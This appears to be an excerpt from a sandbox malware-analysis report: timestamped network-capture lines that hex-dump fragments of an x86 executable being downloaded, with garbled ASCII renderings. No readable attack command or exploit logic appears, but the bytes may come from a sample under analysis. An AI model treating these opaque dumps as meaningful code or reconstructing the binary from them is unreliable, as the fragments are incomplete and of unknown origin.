2022-07-20 08:32:57 UTC	257	IN	Data Raw: 0f 83 b4 00 00 00 31 db e9 d4 fe ff ff 8b 46 08 3b 46 0c 0f 83 d1 00 00 00 0f b6 18 89 d8 e9 03 ff ff ff 8d b4 26 00 00 00 00 0f be c0 c7 44 24 04 2a 00 00 00 89 04 24 ff d2 83 ec 08 3c 2a 0f 85 0a ff ff ff 90 8d 74 26 00 83 7c 24 6c 04 75 39 83 7c 24 1c 02 75 32 83 ef 64 8b 44 24 60 8b 54 24 18 89 38 83 c4 3c 89 f0 5b 5e 5f 5d c2 28 00 89 f6 8d bc 27 00 00 00 00 8b 06 89 f1 ff 50 28 e9 24 ff ff ff 8d 74 26 00 8b 44 24 74 8b 54 24 18 83 08 04 83 c4 3c 89 f0 5b 5e 5f 5d c2 28 00 89 f6 8d bc 27 00 00 00 00 8b 44 24 1c 3b 44 24 6c 74 a7 eb 94 8d 74 26 00 8b 06 89 f1 88 54 24 2f ff 50 24 b9 00 00 00 00 0f b6 54 24 2f 83 f8 ff b8 00 00 00 00 0f 45 d9 0f 44 f0 e9 ff fd ff ff 90 8d b4 26 00 00 00 00 8b 06 89 f1 ff 50 24 83 f8 ff 74 08 0f b6 d8 e9 28 fe ff ff bb Data Ascii: 1F;F&D$$<t&\|$lu9\|$u2dD$`T$8<[^_]('P($t&D$tT$<[^_]('D$;D$ltt&T$/P$T$/ED&P$t(
2022-07-20 08:32:57 UTC	258	IN	Data Raw: c3 8b 41 08 3b 41 0c 0f 83 fd 01 00 00 83 c0 01 89 41 08 83 45 e0 01 8b 45 e0 c7 45 0c ff ff ff ff 39 f0 0f 83 fd fe ff ff 8b 4d 08 be 01 00 00 00 85 c9 74 0e 31 f6 8b 41 0c 39 41 08 0f 83 d1 01 00 00 8b 4d 10 83 7d 14 ff 0f 94 c2 85 c9 0f 95 c0 20 d0 89 c7 0f 85 52 01 00 00 89 f0 38 d0 0f 84 c0 fe ff ff 31 f6 8b 7d e4 eb 0c 83 ef 01 8b 04 bb 89 02 39 f7 76 34 8d 14 b3 8b 4d 1c 8b 02 8b 04 81 8b 4d e0 0f b6 04 08 8b 4d 08 88 45 e4 8b 45 0c 85 c9 74 09 83 f8 ff 0f 84 fd 00 00 00 38 45 e4 75 c7 83 c6 01 39 f7 77 cc 89 7d e4 83 ff 01 0f 87 04 ff ff ff 83 7d e4 01 0f 85 63 fe ff ff 8b 4d 08 e8 4f d9 04 00 8b 03 8b 5d 1c c7 45 0c ff ff ff ff 8b 75 e0 89 45 dc 8b 04 83 83 c6 01 89 04 24 89 45 e4 e8 cc ec fe ff 89 45 e0 39 c6 72 70 e9 9a 01 00 00 8b 4d 10 83 7d Data Ascii: A;AAEEE9Mt1A9AM} R81}9v4MMMEEt8Eu9w}}cMO]EuE$EE9rpM}
2022-07-20 08:32:57 UTC	274	IN	Data Raw: 00 00 89 94 24 08 01 00 00 8b 90 a0 00 00 00 89 94 24 0c 01 00 00 8b 90 a4 00 00 00 89 94 24 10 01 00 00 8b 90 a8 00 00 00 89 94 24 14 01 00 00 8b 90 ac 00 00 00 89 94 24 18 01 00 00 8b 90 b0 00 00 00 89 94 24 1c 01 00 00 8b 90 b4 00 00 00 89 94 24 20 01 00 00 8b 90 b8 00 00 00 89 94 24 24 01 00 00 8b 90 bc 00 00 00 89 94 24 28 01 00 00 8b 80 c0 00 00 00 c7 44 24 18 0c 00 00 00 89 84 24 2c 01 00 00 8d 84 24 f8 00 00 00 89 44 24 20 8b 84 24 60 01 00 00 89 44 24 1c 8d 84 24 00 01 00 00 89 44 24 14 8d 84 24 fc 00 00 00 89 44 24 10 8b 84 24 58 01 00 00 8b 94 24 5c 01 00 00 8b 4c 24 38 89 44 24 08 8b 84 24 50 01 00 00 89 54 24 0c 8b 94 24 54 01 00 00 89 04 24 89 54 24 04 e8 44 ef ff ff 83 ec 24 89 94 24 dc 00 00 00 8b bc 24 f8 00 00 00 0f b7 94 24 dc 00 00 00 Data Ascii: $$$$$$$ $$$(D$$,$D$ $`D$$D$$D$$X$\L$8D$$PT$$T$T$D$$$$
2022-07-20 08:32:57 UTC	275	IN	Data Raw: 00 8b bc 24 68 01 00 00 89 07 e9 bf f4 ff ff 8b 06 8d 9c 24 00 01 00 00 89 f1 c7 44 24 04 ee 0e 5c 00 89 5c 24 08 c7 04 24 e5 0e 5c 00 ff 50 2c 83 ec 0c 8b 84 24 68 01 00 00 8b 94 24 5c 01 00 00 89 5c 24 1c 8b 4c 24 38 89 44 24 18 8d 84 24 f8 00 00 00 89 44 24 14 8b 84 24 60 01 00 00 89 54 24 0c 8b 94 24 54 01 00 00 89 44 24 10 8b 84 24 58 01 00 00 89 54 24 04 89 44 24 08 8b 84 24 50 01 00 00 89 04 24 e8 ae f1 ff ff 83 ec 20 89 54 24 74 0f b7 54 24 74 89 44 24 70 89 84 24 50 01 00 00 66 89 94 24 54 01 00 00 e9 1e f4 ff ff 8d 76 00 8d bc 27 00 00 00 00 8b 44 24 3c 8b 94 24 5c 01 00 00 8b 4c 24 38 8b 40 08 8b 40 10 89 54 24 0c 8b 94 24 54 01 00 00 89 44 24 1c 8b 84 24 68 01 00 00 89 54 24 04 89 44 24 18 8d 84 24 f8 00 00 00 89 44 24 14 8b 84 24 60 01 00 00 Data Ascii: $h$D$\\$$\P,$h$\\$L$8D$$D$$`T$$TD$$XT$D$$P$ T$tT$tD$p$Pf$Tv'D$<$\L$8@@T$$TD$$hT$D$$D$$`
2022-07-20 08:32:57 UTC	291	IN	Data Raw: 01 0f 85 22 fb ff ff e9 62 f7 ff ff 8b 01 ff 50 24 e9 43 fb ff ff 8b 01 ff 50 24 e9 ec f8 ff ff 8b 01 ff 50 24 e9 58 fb ff ff 8b 01 ff 50 24 e9 7e f5 ff ff 8b 01 ff 50 24 e9 3a fd ff ff 8b 01 ff 50 24 e9 41 fc ff ff 31 f6 e9 73 f9 ff ff 89 d6 e9 6c f9 ff ff 0f b6 75 93 e9 63 f9 ff ff 8b 01 ff 50 24 e9 94 fd ff ff 8b 01 ff 50 24 e9 b1 f7 ff ff 8b 01 ff 50 24 e9 20 fd ff ff 8d 42 ff 83 f8 ff 74 15 85 c0 0f 84 2c fc ff ff e9 f4 fd ff ff 90 8d b4 26 00 00 00 00 8b 45 d0 c6 00 00 e9 14 fc ff ff c6 45 93 00 e9 0f f9 ff ff 89 c3 eb 16 eb 3f eb 2c 8b 45 d0 8d 7d d8 39 f8 74 08 89 04 24 e8 f2 30 06 00 8b 45 b8 8d 75 c0 39 f0 74 08 89 04 24 e8 e0 30 06 00 89 1c 24 e8 a8 a3 fd ff 89 04 24 e8 e0 32 06 00 e8 6b 37 06 00 89 c3 eb c3 89 04 24 e8 cf 32 06 00 8b 4d a0 8b Data Ascii: "bP$CP$P$XP$~P$:P$A1slucP$P$P$ Bt,&EE?,E}9t$0Eu9t$0$$2k7$2M
2022-07-20 08:32:57 UTC	292	IN	Data Raw: 8b 45 b8 89 7d bc c6 44 30 01 00 8b 4d 08 8b 41 08 3b 41 0c 0f 83 a8 02 00 00 83 c0 02 89 41 08 b8 ff ff ff ff 66 89 45 0c b8 ff ff ff ff e9 e7 fe ff ff 8b 45 9c 8b 70 24 85 f6 0f 85 b3 04 00 00 8b 45 9c 8d 75 10 8b 40 2c 85 c0 0f 85 2a 05 00 00 0f b6 5d 91 89 de 83 f6 01 e9 f7 03 00 00 8b 45 18 f6 40 0d 02 75 45 8b 55 8c 83 7d 84 01 0f 97 c3 83 ea 01 0f 94 c0 08 c3 75 31 83 fa 01 0f 84 a3 08 00 00 be 01 00 00 00 83 fa 02 0f 85 c3 03 00 00 0f b6 45 b7 3c 04 74 12 3c 03 0f 85 c5 03 00 00 80 7d 91 00 0f 84 bb 03 00 00 8b 45 9c 8b 4d 08 31 f6 8b 40 1c 89 45 94 0f b7 45 0c eb 7d 90 8d b4 26 00 00 00 00 8b 4d 10 66 83 7d 14 ff 0f 94 c2 85 c9 0f 95 c0 20 d0 89 c7 0f 85 ea 05 00 00 3b 75 94 0f 92 c0 31 d3 20 c3 0f 84 0e 06 00 00 0f b7 45 0c 8b 4d 08 66 83 f8 ff Data Ascii: E}D0MA;AAfEEp$Eu@,*]E@uEU}u1E<t<}EM1@EE}&Mf} ;u1 EMf
2022-07-20 08:32:57 UTC	308	IN	Data Raw: 45 bc 01 3b 41 0c 0f 83 d3 02 00 00 83 c0 01 c7 45 0c ff ff ff ff 89 41 08 c6 45 b2 00 8b 41 0c 39 41 08 0f 83 b1 06 00 00 8b 4d 10 83 7d 14 ff 0f 94 c2 85 c9 0f 95 c3 20 d3 0f 85 2a 03 00 00 38 55 b2 0f 85 f1 02 00 00 c6 45 b2 01 8b 5d d4 85 db 0f 85 04 02 00 00 8b 45 bc 85 c0 0f 85 3e 02 00 00 80 7d c0 01 0f 84 34 02 00 00 8b 45 20 c7 00 00 00 00 00 8b 45 1c c7 00 04 00 00 00 80 7d b2 00 74 06 8b 45 1c 83 08 02 8b 4d d0 8d 7d d8 8b 45 08 8b 55 0c 39 f9 74 14 89 0c 24 89 45 c0 89 55 c4 e8 11 ed 05 00 8b 45 c0 8b 55 c4 8d 65 f4 5b 5e 5f 5d c2 1c 00 90 38 5e 25 0f 85 38 fe ff ff 8d b4 26 00 00 00 00 8b 55 b8 c7 45 bc 00 00 00 00 c6 45 c0 00 89 55 b4 84 c0 74 09 38 5e 25 0f 84 f2 02 00 00 38 5e 24 0f 84 e9 02 00 00 38 5e 4e 0f 84 92 00 00 00 80 7d c0 00 0f Data Ascii: E;AEAEA9AM} *8UE]E>}4E E}tEM}EU9t$EUEUe[^_]8^%8&UEEUt8^%8^$8^N}
2022-07-20 08:32:57 UTC	309	IN	Data Raw: b8 00 00 00 00 0f b6 46 10 84 c0 74 09 38 5e 25 0f 84 34 01 00 00 3a 5e 24 0f 84 2e fe ff ff 8b 45 b4 0f be db 89 5c 24 04 89 44 24 08 8b 45 a8 89 04 24 e8 02 22 fe ff 85 c0 0f 84 0d fe ff ff 2b 45 a8 8b 4d b8 8d 50 fa 83 f8 0f 0f 4f c2 39 4d ac 72 66 0f af cf 89 c2 f7 d2 39 ca 0f 92 c2 01 c8 08 55 b1 83 45 bc 01 89 45 b8 8b 4d 08 8b 41 08 3b 41 0c 73 55 83 c0 01 c7 45 0c ff ff ff ff 89 41 08 c6 45 a4 00 8b 41 0c 39 41 08 0f 83 f6 02 00 00 8b 4d 10 83 7d 14 ff 0f 94 c2 85 c9 0f 95 c3 20 d3 75 73 38 55 a4 75 3e 8b 5d d4 e9 9c fb ff ff 8d b6 00 00 00 00 0f b6 45 b2 8b 4d 08 88 45 b1 8b 41 08 3b 41 0c 72 ab 8b 01 ff 50 28 8b 4d 08 c7 45 0c ff ff ff ff 85 c9 75 a5 0f b6 45 b2 88 45 a4 eb ac 66 90 8b 4d 08 8b 5d 0c 85 c9 0f 84 0d ff ff ff 83 fb ff 0f 85 04 ff Data Ascii: Ft8^%4:^$.E\$D$E$"+EMPO9Mrf9UEEMA;AsUEAEA9AM} us8Uu>]EMEA;ArP(MEuEEfM]
2022-07-20 08:32:57 UTC	325	IN	Data Raw: ff 74 33 89 c3 e9 83 fc ff ff 0f b6 5d c4 31 ff c6 45 c4 00 e9 84 fa ff ff 0f b6 5d c4 31 ff c6 45 bb 00 c6 45 c4 00 e9 71 fa ff ff 31 db 88 45 c4 e9 67 fa ff ff c7 45 08 00 00 00 00 bb ff ff ff ff e9 46 fc ff ff 89 c3 8b 45 e4 8d 48 f4 8d 45 e3 89 04 24 e8 e0 2c 02 00 52 89 1c 24 e8 27 1c fd ff 90 90 90 90 90 90 90 55 89 e5 57 56 8d 4d e2 53 83 ec 5c 8b 5d 18 8d 43 6c 89 04 24 e8 36 4f fe ff 89 c6 8b 43 0c 83 ec 04 83 e0 4a 89 45 d0 83 f8 40 0f 84 af 06 00 00 bf 0a 00 00 00 83 f8 08 0f 84 f1 02 00 00 8d 45 10 8d 4d 08 89 04 24 89 45 c0 e8 d0 77 fe ff 83 ec 04 88 45 ce 84 c0 0f 85 d2 06 00 00 8b 55 0c 8d 45 08 e8 a7 78 fe ff 0f b6 56 4a 89 c3 38 c2 0f b6 56 10 0f 94 45 b0 74 09 38 46 4b 0f 85 dc 01 00 00 84 d2 0f 85 c4 01 00 00 38 46 24 0f 84 cb 01 00 00 Data Ascii: t3]1E]1EEq1EgEFEHE$,R$'UWVMS\]Cl$6OCJE@EM$EwEUExVJ8VEt8FK8F$
2022-07-20 08:32:57 UTC	326	IN	Data Raw: c7 45 c4 16 00 00 00 31 db c7 45 b4 ff ff ff 07 c7 45 b8 ff ff ff 7f c7 45 c8 00 00 00 00 c7 45 a8 10 00 00 00 90 8d 74 26 00 80 7d ce 00 0f 85 34 04 00 00 0f b6 46 10 8d 7e 4e c6 45 cd 00 c7 45 d0 00 00 00 00 84 c0 74 09 38 5e 25 0f 84 af 00 00 00 3a 5e 24 0f 84 a2 01 00 00 8b 45 c4 0f be db 89 3c 24 89 5c 24 04 89 44 24 08 e8 c8 dd fd ff 85 c0 0f 84 84 01 00 00 29 f8 8b 4d d0 8d 50 fa 83 f8 0f 0f 4f c2 8b 55 b4 39 d1 0f 87 a7 02 00 00 0f af 4d a8 8b 55 b8 29 c2 39 ca 0f 92 c2 01 c8 08 55 cd 83 45 c8 01 89 45 d0 8b 4d 08 8b 41 08 3b 41 0c 73 78 83 c0 01 89 41 08 8b 45 c0 8d 4d 08 c7 45 0c ff ff ff ff 89 04 24 e8 b7 73 fe ff 83 ec 04 89 c3 84 c0 0f 85 65 fd ff ff 8b 55 0c 8d 45 08 e8 8f 74 fe ff 89 c3 0f b6 46 10 84 c0 0f 84 5a ff ff ff 38 5e 25 0f 85 51 Data Ascii: E1EEEEt&}4F~NEEt8^%:^$E<$\$D$)MPOU9MU)9UEEMA;AsxAEME$seUEtFZ8^%Q
2022-07-20 08:32:57 UTC	342	IN	Data Raw: 8b 45 d0 e9 32 fe ff ff 8b 45 c0 c6 45 be 00 83 f8 10 0f 85 b9 f9 ff ff 8d 45 d8 c7 45 d4 00 00 00 00 89 45 a0 89 45 d0 c6 45 d8 00 c7 45 b0 16 00 00 00 8d b4 26 00 00 00 00 c7 04 24 20 00 00 00 8d 4d d0 e8 61 52 04 00 83 ec 04 e9 a2 f9 ff ff 89 f6 8d bc 27 00 00 00 00 0f b6 4e 10 c6 45 a9 00 31 db 31 ff c6 45 be 01 c6 45 bf 00 e9 51 f9 ff ff 8d b4 26 00 00 00 00 8b 01 ff 50 24 e9 09 f9 ff ff 8d b6 00 00 00 00 8b 01 88 55 be ff 50 24 0f b6 55 be 89 c1 e9 6c fb ff ff 8b 41 08 3b 41 0c 0f 83 a5 01 00 00 0f b7 08 31 c0 66 83 f9 ff 0f 85 a9 f7 ff ff c7 45 10 00 00 00 00 89 d0 e9 9b f7 ff ff 8d 74 26 00 8b 41 08 3b 41 0c 0f 83 67 01 00 00 0f b7 00 31 db 66 83 f8 ff 0f 85 64 f7 ff ff c7 45 08 00 00 00 00 89 d3 e9 56 f7 ff ff 8d b4 26 00 00 00 00 c7 45 08 00 00 Data Ascii: E2EEEEEEEE&$ MaR'NE11EEQ&P$UP$UlA;A1fEt&A;Ag1fdEV&E
2022-07-20 08:32:57 UTC	343	IN	Data Raw: 08 00 00 c6 45 bf 00 31 ff c7 45 c0 10 00 00 00 8b 4d 08 8b 41 08 3b 41 0c 0f 83 3b 02 00 00 83 c0 02 89 41 08 b8 ff ff ff ff 66 89 45 0c 8b 41 08 3b 41 0c 0f 83 00 07 00 00 0f b7 00 c6 45 b8 00 66 83 f8 ff 0f 84 44 04 00 00 8b 4d 10 66 83 7d 14 ff 0f 94 c0 85 c9 0f 95 c2 20 c2 0f 85 47 02 00 00 3a 45 b8 0f 85 10 02 00 00 c6 45 be 01 0f b6 4e 10 83 7d c0 10 c7 45 b0 16 00 00 00 74 06 8b 45 c0 89 45 b0 8d 45 d8 c7 45 d4 00 00 00 00 89 45 9c 89 45 d0 c6 45 d8 00 84 c9 0f 85 57 06 00 00 8b 45 98 31 d2 83 e0 01 05 ff ff ff 7f 89 45 a4 f7 75 c0 89 45 ac 0f b6 86 a4 00 00 00 88 45 b4 84 c0 0f 85 d4 03 00 00 80 7d be 00 0f 85 ca 07 00 00 0f b7 45 b0 c6 45 bd 00 c7 45 b8 00 00 00 00 83 c0 30 66 89 45 aa 83 7d b0 0a 0f b7 c3 0f 87 e2 01 00 00 66 83 fb 2f 0f 86 08 Data Ascii: E1EMA;A;AfEA;AEfDMf} G:EEN}EtEEEEEEEWE1EuEE}EEE0fE}f/
2022-07-20 08:32:57 UTC	359	IN	Data Raw: 8b 5d c4 39 5d b8 0f 82 be 03 00 00 0f af df 8b 4d b4 29 c1 39 d9 0f 92 c1 08 4d ca 8b 4d 08 01 d8 89 45 c4 83 45 cc 01 8b 41 08 3b 41 0c 0f 83 a9 03 00 00 83 c0 02 89 41 08 b8 ff ff ff ff 8d 4d 08 66 89 45 0c 8b 45 c0 89 04 24 e8 79 f1 fd ff 83 ec 04 89 c3 84 c0 0f 84 8c 03 00 00 8b 4d e4 8b 41 f4 85 c0 0f 85 de 02 00 00 8b 45 cc 85 c0 0f 85 20 03 00 00 80 7d d0 01 0f 84 16 03 00 00 8b 45 20 c7 00 00 00 00 00 8b 45 1c c7 00 04 00 00 00 84 db 74 06 8b 45 1c 83 08 02 8b 45 08 8b 55 0c 83 e9 0c 89 45 d0 8b 45 a8 89 55 d4 89 04 24 e8 83 a4 01 00 8b 45 d0 8b 55 d4 83 ec 04 8d 65 f4 5b 5e 5f 5d c2 1c 00 66 39 5e 26 0f 85 35 fe ff ff 8d b6 00 00 00 00 c7 45 cc 00 00 00 00 c6 45 d0 00 90 8d 74 26 00 84 c0 74 0a 66 39 5e 26 0f 84 42 03 00 00 66 39 5e 24 0f 84 38 Data Ascii: ]9]M)9MMEEA;AAMfEE$yMAE }E EtEEUEEU$EUe[^_]f9^&5EEt&tf9^&Bf9^$8
2022-07-20 08:32:57 UTC	360	IN	Data Raw: 3b 41 0c 0f 83 af 02 00 00 0f b7 18 66 83 fb ff 0f 85 ab fe ff ff c7 45 08 00 00 00 00 e9 9f fe ff ff 90 8d b4 26 00 00 00 00 83 45 cc 01 88 45 d0 e9 16 fd ff ff 8d 74 26 00 c6 45 cb 00 e9 08 fb ff ff 8d b4 26 00 00 00 00 83 eb 41 66 83 fb 05 0f 87 e3 fe ff ff 83 e8 37 e9 98 fb ff ff c7 45 08 00 00 00 00 c6 45 cb 01 e9 18 fd ff ff 0f b6 45 ca c7 45 cc 00 00 00 00 31 db c7 45 bc 16 00 00 00 88 45 cb c7 45 b0 ff ff ff 07 c7 45 b4 ff ff ff 7f c7 45 a4 10 00 00 00 80 7d cb 00 0f 85 29 02 00 00 0f b6 46 10 8d 7e 78 c6 45 ca 00 c7 45 c4 00 00 00 00 84 c0 74 7f 66 39 5e 26 75 79 8b 5d cc 85 db 0f 84 f8 01 00 00 0f be c3 8d 4d e4 89 04 24 e8 40 b6 01 00 c7 45 cc 00 00 00 00 83 ec 04 8b 4d 08 8b 41 08 3b 41 0c 0f 83 a6 00 00 00 83 c0 02 89 41 08 b8 ff ff ff ff 8d Data Ascii: ;AfE&EEt&E&Af7EEEE1EEEEE})F~xEEtf9^&uy]M$@EMA;AA
2022-07-20 08:32:57 UTC	376	IN	Data Raw: f0 83 e0 4a 8d 54 24 27 89 5c 24 04 83 e2 f0 83 f8 40 89 45 b8 0f 95 c1 83 f8 08 89 74 24 10 0f 95 c0 89 55 c4 21 c1 0f b6 c1 88 4d cc 8d 4f 26 89 44 24 14 8b 45 d0 89 4c 24 0c 89 44 24 08 8d 42 28 89 04 24 e8 00 7e 04 00 8b 55 c4 89 c3 29 c2 83 c2 28 80 7f 10 00 75 60 80 7d cc 00 0f 84 af 00 00 00 8b 45 10 8b 70 08 39 de 0f 8f e8 00 00 00 8b 45 10 c7 40 08 00 00 00 00 8b 45 c8 89 c6 84 c0 75 1c 8b 4d d4 8b 01 89 5c 24 04 89 14 24 ff 50 30 83 ec 08 39 d8 b8 01 00 00 00 0f 45 f0 89 f0 31 d2 88 45 d0 88 c2 8b 45 d4 8d 65 f4 5b 5e 5f 5d c2 18 00 8d 76 00 8d 44 00 1d c1 e8 04 c1 e0 04 e8 b1 25 fc ff 29 c4 01 d3 89 5c 24 14 8d 4c 24 27 89 54 24 10 8b 47 0c 83 e1 f0 83 c1 02 89 44 24 0c 8b 47 08 89 4d c4 89 44 24 08 0f be 47 25 89 0c 24 89 44 24 04 e8 1a 80 04 Data Ascii: JT$'\$@Et$U!MO&D$EL$D$B($~U)(u`}Ep9E@EuM\$$P09E1EEe[^_]vD%)\$L$'T$GD$GMD$G%$D$
2022-07-20 08:32:57 UTC	377	IN	Data Raw: 01 00 00 8b 45 10 c7 40 08 00 00 00 00 8b 45 b0 89 c3 84 c0 75 1f 8b 4d c0 8b 7d b8 8b 01 89 74 24 04 89 3c 24 ff 50 30 83 ec 08 39 f0 b8 01 00 00 00 0f 45 d8 8b 45 c0 31 d2 8d 65 f4 88 da 5b 5e 5f 5d c2 1c 00 8d 74 26 00 8d 50 01 83 c0 1c c1 e8 04 89 55 a4 c1 e0 04 e8 1c 22 fc ff 29 c4 8d 44 24 2b 83 e0 f0 89 45 c4 e8 3b 92 03 00 8b 55 a4 dd 45 b8 89 5c 24 10 89 45 d4 8b 45 c4 89 74 24 0c 89 44 24 04 8d 45 d4 89 54 24 08 89 04 24 dd 5c 24 14 e8 c0 82 04 00 89 45 d0 e9 ae fe ff ff 90 8d b4 26 00 00 00 00 8b 45 b4 80 78 10 00 0f 84 3e ff ff ff 31 d2 8d 44 1b 1b c1 e8 04 c1 e0 04 e8 b2 21 fc ff 8b 75 c4 0f b6 0e 29 c4 83 e9 2b 8d 44 24 2b 83 e0 f0 81 e1 fd 00 00 00 0f 85 d4 01 00 00 0f b6 0f 83 c7 01 83 eb 01 be 01 00 00 00 89 7d b8 88 08 89 5d d0 8d 58 01 Data Ascii: E@EuM}t$<$P09EE1e[^_]t&PU")D$+E;UE\$EEt$D$ET$$\$E&Ex>1D!u)+D$+}]X
2022-07-20 08:32:57 UTC	393	IN	Data Raw: 24 a0 00 00 00 89 43 14 e9 30 f9 ff ff 8d 5c 24 50 c7 44 24 04 33 12 5c 00 89 f1 89 5c 24 08 c7 04 24 2a 12 5c 00 e8 ef 79 fd ff 83 ec 0c 89 5c 24 1c e9 93 f9 ff ff 8d 76 00 8d 44 24 48 c7 44 24 1c 02 00 00 00 89 44 24 24 8b 84 24 b0 00 00 00 c7 44 24 18 17 00 00 00 89 44 24 20 c7 44 24 14 00 00 00 00 e9 90 fc ff ff 8b 44 24 38 8b 40 08 8b 50 2c 89 54 24 50 8b 50 30 89 54 24 54 8b 50 34 89 54 24 58 8b 50 38 89 54 24 5c 8b 50 3c 89 54 24 60 8b 50 40 89 54 24 64 8b 40 44 e9 0b fd ff ff 8d b4 26 00 00 00 00 8b 44 24 38 8b 40 08 8b 90 94 00 00 00 89 54 24 50 8b 90 98 00 00 00 89 54 24 54 8b 90 9c 00 00 00 89 54 24 58 8b 90 a0 00 00 00 89 54 24 5c 8b 90 a4 00 00 00 89 54 24 60 8b 90 a8 00 00 00 89 54 24 64 8b 90 ac 00 00 00 89 54 24 68 8b 90 b0 00 00 00 89 54 Data Ascii: $C0\$PD$3\\$$*\y\$vD$HD$D$$$D$D$ D$D$8@P,T$PP0T$TP4T$XP8T$\P<T$`P@T$d@D&D$8@T$PT$TT$XT$\T$`T$dT$hT
2022-07-20 08:32:57 UTC	394	IN	Data Raw: 24 a0 00 00 00 89 94 24 a4 00 00 00 e9 bd f6 ff ff 89 f6 8d bc 27 00 00 00 00 8d 44 24 48 8b 94 24 ac 00 00 00 c7 44 24 1c 02 00 00 00 89 44 24 24 8b 84 24 b0 00 00 00 89 54 24 0c 8b 94 24 a4 00 00 00 89 44 24 20 8d 44 24 4c 8b 4c 24 34 89 44 24 10 8b 84 24 a8 00 00 00 c7 44 24 18 3b 00 00 00 89 44 24 08 8b 84 24 a0 00 00 00 c7 44 24 14 00 00 00 00 89 04 24 89 54 24 04 e8 09 e8 ff ff 83 ec 28 8b 6c 24 48 89 84 24 a0 00 00 00 89 94 24 a4 00 00 00 85 ed 0f 85 30 f6 ff ff 8b 44 24 4c 8b 9c 24 b8 00 00 00 8b 94 24 a4 00 00 00 8b 8c 24 a0 00 00 00 89 43 04 e9 7e f4 ff ff 8d 5c 24 50 c7 44 24 04 39 12 5c 00 89 f1 89 5c 24 08 c7 04 24 33 12 5c 00 e8 3d 75 fd ff 83 ec 0c 89 5c 24 1c e9 e1 f4 ff ff 90 0f be c3 c7 44 24 04 00 00 00 00 89 f1 89 04 24 ff d2 83 ec 08 Data Ascii: $$'D$H$D$D$$$T$$D$ D$LL$4D$$D$;D$$D$$T$(l$H$$0D$L$$$C~\$PD$9\\$$3\=u\$D$$
2022-07-20 08:32:57 UTC	410	IN	Data Raw: 00 0f 85 53 01 00 00 84 c9 0f 84 3c 01 00 00 88 8c 16 1d 01 00 00 89 c8 3c 45 0f 84 9a 00 00 00 3c 4f 0f 84 92 00 00 00 0f be c8 31 db 8b 44 24 2c 89 ea 8a 54 24 27 83 c7 01 8b 00 89 d5 8b 54 24 70 8b 40 08 89 54 24 10 8b 54 24 30 89 5c 24 18 89 fb 89 4c 24 14 8b 4c 24 2c 89 54 24 0c 8b 54 24 68 89 6c 24 04 89 54 24 08 8b 54 24 28 89 14 24 ff d0 83 ec 1c 89 44 24 38 89 54 24 3c 89 44 24 28 89 e8 8a 44 24 3c 89 c5 88 44 24 27 39 7c 24 78 0f 85 0d ff ff ff 0f b6 44 24 27 89 e9 88 c1 8b 44 24 28 83 c4 4c 89 cd 5b 5e 89 ea 5f 5d c2 1c 00 8d b6 00 00 00 00 8d 7b 02 39 7c 24 78 74 d6 0f b6 4b 02 0f be d8 89 ca 89 4c 24 34 0f be 8c 0e 1d 01 00 00 84 c9 0f 85 4d ff ff ff 8b 06 0f be ca 8b 40 20 3d 40 9d 43 00 0f 85 8b 00 00 00 84 d2 0f 84 32 ff ff ff 8b 44 24 34 Data Ascii: S<<E<O1D$,T$'T$p@T$T$0\$L$L$,T$T$hl$T$T$($D$8T$<D$(D$<D$'9\|$xD$'D$(L[^_]{9\|$xtKL$4M@ =@C2D$4
2022-07-20 08:32:57 UTC	411	IN	Data Raw: 31 c9 80 fa 4f 0f 84 84 00 00 00 8b 44 24 2c 89 eb 8a 5c 24 36 83 c6 02 8b 00 89 dd 8b 5c 24 70 8b 40 08 89 5c 24 10 8b 5c 24 30 89 4c 24 18 89 6c 24 04 8b 4c 24 2c 89 5c 24 0c 8b 5c 24 68 89 54 24 14 89 5c 24 08 8b 5c 24 28 89 1c 24 89 f3 ff d0 83 ec 1c 89 44 24 38 89 54 24 3c 89 44 24 28 89 e8 8a 44 24 3c 89 c5 88 44 24 36 39 74 24 78 0f 85 3b ff ff ff 89 e8 8a 44 24 36 89 c5 8b 44 24 28 83 c4 4c 5b 89 ea 5e 5f 5d c2 1c 00 88 54 24 37 8d 73 04 39 74 24 78 74 db 8b 07 c7 44 24 04 00 00 00 00 0f b7 4b 04 89 0c 24 89 f9 ff 50 30 83 ec 08 0f be d0 0f be 4c 24 37 e9 49 ff ff ff 90 8d b4 26 00 00 00 00 8b 4c 24 28 8b 11 89 04 24 ff 52 34 83 ec 04 e9 bf fe ff ff 90 90 90 90 90 90 90 90 90 90 90 90 0f be 54 24 1c 8b 01 89 54 24 1c 0f be 54 24 18 89 54 24 18 0f Data Ascii: 1OD$,\$6\$p@\$\$0L$l$L$,\$\$hT$\$\$($D$8T$<D$(D$<D$69t$x;D$6D$(L[^_]T$7s9t$xtD$K$P0L$7I&L$($R4T$T$T$T$
2022-07-20 08:32:57 UTC	427	IN	Data Raw: eb 07 89 c3 8d 75 db eb 12 8d 75 db 8b 45 e0 89 34 24 8d 48 f4 e8 20 95 00 00 52 8b 45 dc 89 34 24 8d 48 f4 e8 11 95 00 00 50 89 1c 24 e8 58 84 fb ff eb 02 eb 14 89 04 24 e8 8c 13 04 00 8b 03 89 d9 ff 50 04 e8 10 18 04 00 89 04 24 e8 78 13 04 00 eb f1 89 c3 e8 df 14 04 00 89 1c 24 e8 27 84 fb ff 90 90 90 90 90 90 90 0f b7 54 24 14 8b 01 89 54 24 14 0f b6 54 24 0c 89 54 24 0c ff 60 0c 90 90 90 90 90 90 90 90 90 0f b7 54 24 14 8b 01 89 54 24 14 0f b6 54 24 0c 89 54 24 0c ff 60 08 90 90 90 90 90 90 90 90 90 56 53 83 ec 24 0f b7 5c 24 40 8b 74 24 44 80 7c 24 38 00 8b 44 24 30 8b 54 24 34 89 74 24 10 89 5c 24 0c 74 1f 8b 74 24 3c 89 04 24 89 54 24 04 89 74 24 08 e8 87 08 00 00 83 ec 14 83 c4 24 5b 5e c2 18 00 8b 5c 24 3c 89 04 24 89 54 24 04 89 5c 24 08 e8 48 Data Ascii: uuE4$H RE4$HP$X$P$x$'T$T$T$T$`T$T$T$T$`VS$\$@t$D\|$8D$0T$4t$\$tt$<$T$t$$[^\$<$T$\$H
